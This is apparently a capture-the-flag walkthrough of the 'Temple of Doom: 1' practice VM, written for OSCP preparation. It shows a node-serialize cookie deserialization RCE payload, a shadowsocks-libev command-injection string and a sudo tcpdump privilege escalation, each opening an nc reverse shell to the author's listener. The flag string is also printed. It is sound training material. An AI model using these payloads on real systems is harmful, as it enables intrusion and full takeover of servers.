Temple of Doom: 1 Walkthrough (OSCP Prep)
Host Discovery
Due to issues getting this target VM to import into VMWare, I ran the machine in VirtualBox with a bridged network adapter. After booting, the machine helpfully displayed its own IP address: 192.168.1.229
in my case.
I will add an entry into my /etc/hosts
file to make life easier:
192.168.1.229 doom
Scanning
As per usual, we will start with a port scan:
(ori0n@apophis) --> [ ~/doom ]
==> $ rustscan -a doom -- -sV -oA scans/nmap-version
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
0day was here ♥
[~] The config file is expected to be at "/home/ori0n/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 192.168.1.229:22
Open 192.168.1.229:666
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV -oA scans/nmap-version" on ip 192.168.1.229
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-13 11:35 CST
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 11:36
Scanning 192.168.1.229 [2 ports]
Completed Ping Scan at 11:36, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 11:36
Scanning doom (192.168.1.229) [2 ports]
Discovered open port 22/tcp on 192.168.1.229
Discovered open port 666/tcp on 192.168.1.229
Completed Connect Scan at 11:36, 0.00s elapsed (2 total ports)
Initiating Service scan at 11:36
Scanning 2 services on doom (192.168.1.229)
Completed Service scan at 11:36, 11.02s elapsed (2 services on 1 host)
NSE: Script scanning 192.168.1.229.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 11:36
Completed NSE at 11:36, 0.01s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 11:36
Completed NSE at 11:36, 0.00s elapsed
Nmap scan report for doom (192.168.1.229)
Host is up, received conn-refused (0.00026s latency).
Scanned at 2021-11-13 11:36:00 CST for 11s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.7 (protocol 2.0)
666/tcp open http syn-ack Node.js Express framework
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.31 seconds
So besides the standard SSH port, we see port 666 open and it appears to running a Node.js Express server.
Enumerating the Express Server
Navigating to the target at port 666 in a web browser produces a simple message: ‘Under Construction, Come Back Later!’. However, reloading the page produces an error:
So it appears the application is trying to unserialize some JSON, but where is this JSON? Taking a look with Burp, we can see the server sent back a cookie with the initial request:
The profile
cookie appears to be in base64-encoded form. Decoding, we find our JSON:
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMT"}
Note the missing quotes at the beginning of the date string. This appears to source of the error during unserialization. If we add the quote before ‘Friday’, re-encode, and resend the request, the error disappears and we are greeted by our username: ‘Hello Admin’.
Deserialization bugs are often a source of security vulnerabilities. Let’s see if we can leverage this bug to gain a shell.
Exploiting the Node.js Deserialization Bug
A quick Google search reveals this bug may in fact lead to remote code execution.
I’ll write a simple JavaScript program to first see if we can achieve code execution locally:
var exploit = {
rce: function() {
require('child_process').exec('nc 192.168.1.203 4444 -e /bin/bash', function(err, stdout, stderr) {
console.log(stdout);
console.log(stderr);
})
}
}
var serialize = require('node-serialize');
var payload = serialize.serialize(exploit)
payload = payload.slice(0,-2) + '()"}'
console.log("\nPayload:\n\n"+payload)
serialize.unserialize(payload);
Save and run this with node test.js
(make sure to have a netcat listener running on port 4444, and of course be sure to change the listener IP as necessary). We do in fact spawn a shell. Now, if we base64-encode the serialized payload and set the encoded string as the profile
cookie value, we get our shell!
(ori0n@apophis) --> [ ~/doom ]
==> $ ncat -nlkvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.1.229.
Ncat: Connection from 192.168.1.229:40488.
id
uid=1001(nodeadmin) gid=1001(nodeadmin) groups=1001(nodeadmin)
hostname
localhost.localdomain
Initial Privilege Escalation
After some basic enumeration, we find another user, fireman
, and we find that user is running some kind of server application:
ps -ef f
UID PID PPID C STIME TTY STAT TIME CMD
...
root 833 1 0 13:10 ? S 0:00 su fireman -c /usr/local/bin/ss-manager
fireman 838 833 0 13:10 ? Ss 0:00 \_ /usr/local/bin/ss-manager
...
/usr/local/bin/ss-manager --help
shadowsocks-libev 3.1.0
maintained by Max Lv <max.c.lv@gmail.com> and Linus Yang <laokongzi@gmail.com>
...
So this app is shadowsocks-libev 3.1.0
. A quick Google search reveals a known RCE bug in this software.
Let’s see if we can get a shell as fireman
. Start a new listener, connect to localhost port 8839 from your original reverse shell, and send the string: add: {"server_port":8003, "password":"test", "method":"||nc 192.168.1.203 5555 -e /bin/bash||"}
.
nc 127.0.0.1 8839 -u
add: {"server_port":8003, "password":"test", "method":"||nc 192.168.1.203 5555 -e /bin/bash||"}
And we have our shell:
(ori0n@apophis) --> [ ~/doom ]
==> $ ncat -nlkvp 5555
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555
Ncat: Connection from 192.168.1.229.
Ncat: Connection from 192.168.1.229:48950.
id
uid=1002(fireman) gid=1002(fireman) groups=1002(fireman)
PrivEsc to root
So we’ve managed to pop a shell as fireman
. Now, how do we get on to root
?
A good first step is always to check what sudo
privileges a given user has:
sudo -l
Matching Defaults entries for fireman on localhost:
!visiblepw, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User fireman may run the following commands on localhost:
(ALL) NOPASSWD: /sbin/iptables
(ALL) NOPASSWD: /usr/bin/nmcli
(ALL) NOPASSWD: /usr/sbin/tcpdump
We have a number of potential options here. Let’s see what GTFOBins says about tcpdump. It looks like this is a privesc vector. I’ll start one more local listener on port 6666, and I’ll try to leverage this ill-conceived sudo
privilege:
cd /tmp
echo nc 192.168.1.203 6666 -e /bin/bash > pwn
chmod +x pwn
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/pwn -Z root
Back to our listener:
(ori0n@apophis) --> [ ~/doom ]
==> $ ncat -nlkvp 6666
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::6666
Ncat: Listening on 0.0.0.0:6666
Ncat: Connection from 192.168.1.229.
Ncat: Connection from 192.168.1.229:46992.
id
uid=0(root) gid=0(root) groups=0(root)
Bingo!
Capturing the Flag
Our last order of business is to print out the flag. This should be trivial at this point:
cd /root
ls
flag.txt
cat flag.txt
[+] You're a soldier.
[+] One of the best that the world could set against
[+] the demonic invasion.
+-----------------------------------------------------------------------------+
| | |\ -~ / \ / |
|~~__ | \ | \/ /\ /|
| -- | \ | / \ / \ / |
| |~_| \ \___|/ \/ / |
|--__ | -- |\________________________________/~~\~~| / \ / \ |
| |~~--__ |~_|____|____|____|____|____|____|/ / \/|\ / \/ \/|
| | |~--_|__|____|____|____|____|____|_/ /| |/ \ / \ / |
|___|______|__|_||____|____|____|____|____|__[]/_|----| \/ \ / |
| \mmmm : | _|___|____|____|____|____|____|___| /\| / \ / \ |
| B :_--~~ |_|____|____|____|____|____|____| | |\/ \ / \ |
| __--P : | / / / | \ / \ /\|
|~~ | : | / ~~~ | \ / \ / |
| | |/ .-. | /\ \ / |
| | / | | |/ \ /\ |
| | / | | -_ \ / \ |
+-----------------------------------------------------------------------------+
| | /| | | 2 3 4 | /~~~~~\ | /| |_| .... ......... |
| | ~|~ | % | | | ~J~ | | ~|~ % |_| .... ......... |
| AMMO | HEALTH | 5 6 7 | \===/ | ARMOR |#| .... ......... |
+-----------------------------------------------------------------------------+
FLAG: kre0cu4jl4rzjicpo1i7z5l1
[+] Congratulations on completing this VM & I hope you enjoyed my first boot2root.
[+] You can follow me on twitter: @0katz
[+] Thanks to the homie: @Pink_P4nther
And Temple of Doom: 1 is owned!
Leave a Reply